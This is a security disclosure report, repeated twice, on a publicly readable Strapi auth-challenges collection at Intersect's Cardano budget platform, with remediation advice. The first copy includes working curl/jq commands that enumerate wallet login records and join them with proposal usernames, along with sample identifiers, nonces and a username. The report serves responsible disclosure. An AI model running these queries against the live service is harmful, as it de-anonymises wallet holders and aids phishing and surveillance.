Context
Received through the security mail
be.pdf.gov.tools (Intersect Budget Discussion / Proposal Platform) — Strapi auth-challenges
Collection Publicly Readable; Retroactive CIP-30 Wallet De-Anonymisation of All 1,733 Historical
Authentication Events
Vulnerability Description
The Strapi backend at be.pdf.gov.tools powers Intersect's budget-proposal / DRep budget-discussion platform.
Its auth-challenges collection — used to drive wallet-based authentication (challenge ® wallet signs ® server
verifies) — has the find and findOne actions enabled for the Public role. The result is that every historical and
currently-pending challenge ever issued is publicly listable without any authentication:
$ curl -sS "https://be.pdf.gov.tools/api/auth-challenges?pagination%5BpageSize%5D=1"
| jq '{total: .meta.pagination.total, sample: .data[0].attributes}'
{
"total": 1733,
"sample": {
"identifier": "e1649d9c35ecdd0cf9019e3a5b182bbcb94f8750768ba2760b65c97ddc",
"nonce": "d8b0a16e08d1652c0695c6d0b4af9970",
"message": "To proceed, please sign this data to verify your identity...\nNonce: d8b0a16e...\nTimestamp:
1746007080279",
"timestamp": "2025-04-30T09:58:00.279Z",
"expiresAt": "2025-04-30T10:03:00.279Z",
"createdAt": "2025-04-30T09:58:00.279Z"
}
}
Cardano stake credentials are designed to provide unlinkability between off-chain user identity and on-chain
stake address. Any service that records 'stake hash X authenticated at time T' can pierce that pseudonymity. Here,
the entire authentication log of one of Intersect's flagship governance properties is exposed in bulk to anyone with a
curl command.
Steps to reproduce
Proof of Concept
Step 1: Enumerate 1,733 records and sample unique identifiers
$ curl -sS
"https://be.pdf.gov.tools/api/auth-challenges?pagination%5BpageSize%5D=50&fields%5B0%5D=identifier" \
| jq -r '.data[].attributes.identifier' | sort -u
166c55f87ab71b30bf42bc3568c1eb95bf6ed72df14f732d9c34dbc2
e1d1d39a31c144f1d65c3ff1b6eb256bc0ba45983553782f00c94f25ea
e149be3c9108d80c9d5707f9a9060788f173d145a93e54f01bcccb4e8f
e12d0297dbc193766242f74af41402e3f38a31c35799e92429c854ecbe
e144276989a977b20fbe71a4178651de8865d963f09bd53b71c782f103
e1703a2bbb888ae2e44155d3a17c8f27805fc8f25c3281eae54f3a0b01
e1e4b50c932c4cbf465593d44343bed315d7ba342d34e67577f0330bf1
undefined # <-- developer bug: challenge posted with no identifier
... (more)
Step 2: Cross-reference with proposals endpoint — maps wallet to handle
$ curl -sS "https://be.pdf.gov.tools/api/proposals?pagination[pageSize]=1" \
| jq '.data[0].attributes | {user_id, user_govtool_username, createdAt}'
{
"user_id": "1963",
"user_govtool_username": "majestyle",
"createdAt": "2025-07-11T12:45:13.415Z"
}
# Joining auth-challenges (wallet hash -> user_id) with proposals
# (user_id -> username) fully de-anonymises every wallet that signed in.
Step 3: Write paths are correctly blocked
$ curl -sS -X POST "https://be.pdf.gov.tools/api/auth-challenges" \
-H "Content-Type: application/json" \
-d '{"data":{"identifier":"x","nonce":"y","message":"z"}}'
{"data":null,"error":{"status":403,"name":"ForbiddenError","message":"Forbidden"}}
# PUT and DELETE also return 403 — leak is read-only.
Actual behavior
Impact
• De-pseudonymisation of wallet activity. Cardano stake credentials are designed to provide unlinkability
between off-chain identity and on-chain stake address. The auth-challenges table records 'stake hash X
authenticated at time T' for all 1,733 login events. Any party who scrapes the endpoint can now enumerate every
wallet that has ever participated in Intersect budget discussions and cross-reference each identifier with the
chain to recover the user's delegation, voting, DRep, and reward history.
• Full de-anonymisation via proposal cross-join. Joining auth-challenges.identifier (wallet hash) with
proposals.user_govtool_username (Twitter-style handle) via the shared user_id field maps every wallet
credential to a specific real-world platform identity.
• Activity-pattern surveillance. Timestamps are recorded to the millisecond. An attacker can build a per-wallet
activity calendar — useful for targeted phishing, account-takeover timing, or adversarial intelligence against
DReps whose voting activity is monitored.
• Targeted phishing of pending sessions. Active (un-expired) challenges in the leak give the attacker the
exact nonce and signing prompt the target wallet has been asked to sign. The attacker can reproduce the prompt
verbatim on a phishing page. Because the prompt is byte-identical to the legitimate one, even cautious users
may comply. The signed payload cannot be replayed against the legitimate backend (signature is key-bound),
but it can be replayed against any other service accepting the same prompt format.
• Undefined-identifier anomaly. At least one record has "identifier": "undefined", indicating the frontend
sometimes posts a challenge without setting the identifier. If the verify endpoint accepts the literal string
'undefined' as a valid credential, this is a separate authentication-bypass path worth investigating immediately.
• Retroactive and mass. All 1,733 events are historical and persistent. Locking the collection after discovery
does not undo the leak for any party who scraped the data before the fix.
Expected behavior
Remediation
• Immediate (P0): In Strapi admin ® Settings ® Roles ® Public: disable find and findOne on
auth-challenges. Public users should never list challenges. Only create (to start a new auth flow) should be
reachable, and it should rate-limit and tie the challenge to the requesting session.
• Short-Term: Bulk-delete the existing 1,733 challenge records — they are spent; no legitimate value exists in
retaining completed auth events as a persistent Strapi collection. Move to a transient in-memory store (Redis
with TTL) rather than a permanent Strapi collection. Persisting completed challenges adds no value and gives
forensic tooling a target.
• Short-Term: Move the entire auth-challenges collection behind a private namespace
(/internal/auth-challenges) not registered with the public Strapi router, or implement the challenge flow
as an isolated service separate from Strapi's generic REST layer.
• Short-Term: Investigate the "identifier": "undefined" records. Confirm whether the frontend and verify
endpoint accept the literal string 'undefined' as a valid Cardano credential. If yes, this is a separate
authentication-bypass bug requiring immediate remediation.
• Long-Term: Audit every other Strapi collection on this instance for the same 'public find allowed' mistake —
covered more broadly in the sibling Mass PII and Voter De-Anonymisation report. The same pattern repeats
across 20 other collections.
Context
Received through the security mail
be.pdf.gov.tools (Intersect Budget Discussion / Proposal Platform) — Strapi auth-challenges
Collection Publicly Readable; Retroactive CIP-30 Wallet De-Anonymisation of All 1,733 Historical
Authentication Events
Vulnerability Description
The Strapi backend at be.pdf.gov.tools powers Intersect's budget-proposal / DRep budget-discussion platform.
Its auth-challenges collection — used to drive wallet-based authentication (challenge ® wallet signs ® server
verifies) — has the find and findOne actions enabled for the Public role. The result is that every historical and
currently-pending challenge ever issued is publicly listable without any authentication:
Cardano stake credentials are designed to provide unlinkability between off-chain user identity and on-chain
stake address. Any service that records 'stake hash X authenticated at time T' can pierce that pseudonymity. Here,
the entire authentication log of one of Intersect's flagship governance properties is exposed in bulk to anyone with a
curl command.
Steps to reproduce
Proof of Concept
Step 1: Enumerate 1,733 records and sample unique identifiers
Step 2: Cross-reference with proposals endpoint — maps wallet to handle
Step 3: Write paths are correctly blocked
Actual behavior
Impact
• De-pseudonymisation of wallet activity. Cardano stake credentials are designed to provide unlinkability
between off-chain identity and on-chain stake address. The auth-challenges table records 'stake hash X
authenticated at time T' for all 1,733 login events. Any party who scrapes the endpoint can now enumerate every
wallet that has ever participated in Intersect budget discussions and cross-reference each identifier with the
chain to recover the user's delegation, voting, DRep, and reward history.
• Full de-anonymisation via proposal cross-join. Joining auth-challenges.identifier (wallet hash) with
proposals.user_govtool_username (Twitter-style handle) via the shared user_id field maps every wallet
credential to a specific real-world platform identity.
• Activity-pattern surveillance. Timestamps are recorded to the millisecond. An attacker can build a per-wallet
activity calendar — useful for targeted phishing, account-takeover timing, or adversarial intelligence against
DReps whose voting activity is monitored.
• Targeted phishing of pending sessions. Active (un-expired) challenges in the leak give the attacker the
exact nonce and signing prompt the target wallet has been asked to sign. The attacker can reproduce the prompt
verbatim on a phishing page. Because the prompt is byte-identical to the legitimate one, even cautious users
may comply. The signed payload cannot be replayed against the legitimate backend (signature is key-bound),
but it can be replayed against any other service accepting the same prompt format.
• Undefined-identifier anomaly. At least one record has "identifier": "undefined", indicating the frontend
sometimes posts a challenge without setting the identifier. If the verify endpoint accepts the literal string
'undefined' as a valid credential, this is a separate authentication-bypass path worth investigating immediately.
• Retroactive and mass. All 1,733 events are historical and persistent. Locking the collection after discovery
does not undo the leak for any party who scraped the data before the fix.
Expected behavior
Remediation
• Immediate (P0): In Strapi admin ® Settings ® Roles ® Public: disable find and findOne on
auth-challenges. Public users should never list challenges. Only create (to start a new auth flow) should be
reachable, and it should rate-limit and tie the challenge to the requesting session.
• Short-Term: Bulk-delete the existing 1,733 challenge records — they are spent; no legitimate value exists in
retaining completed auth events as a persistent Strapi collection. Move to a transient in-memory store (Redis
with TTL) rather than a permanent Strapi collection. Persisting completed challenges adds no value and gives
forensic tooling a target.
• Short-Term: Move the entire auth-challenges collection behind a private namespace
(/internal/auth-challenges) not registered with the public Strapi router, or implement the challenge flow
as an isolated service separate from Strapi's generic REST layer.
• Short-Term: Investigate the "identifier": "undefined" records. Confirm whether the frontend and verify
endpoint accept the literal string 'undefined' as a valid Cardano credential. If yes, this is a separate
authentication-bypass bug requiring immediate remediation.
• Long-Term: Audit every other Strapi collection on this instance for the same 'public find allowed' mistake —
covered more broadly in the sibling Mass PII and Voter De-Anonymisation report. The same pattern repeats
across 20 other collections.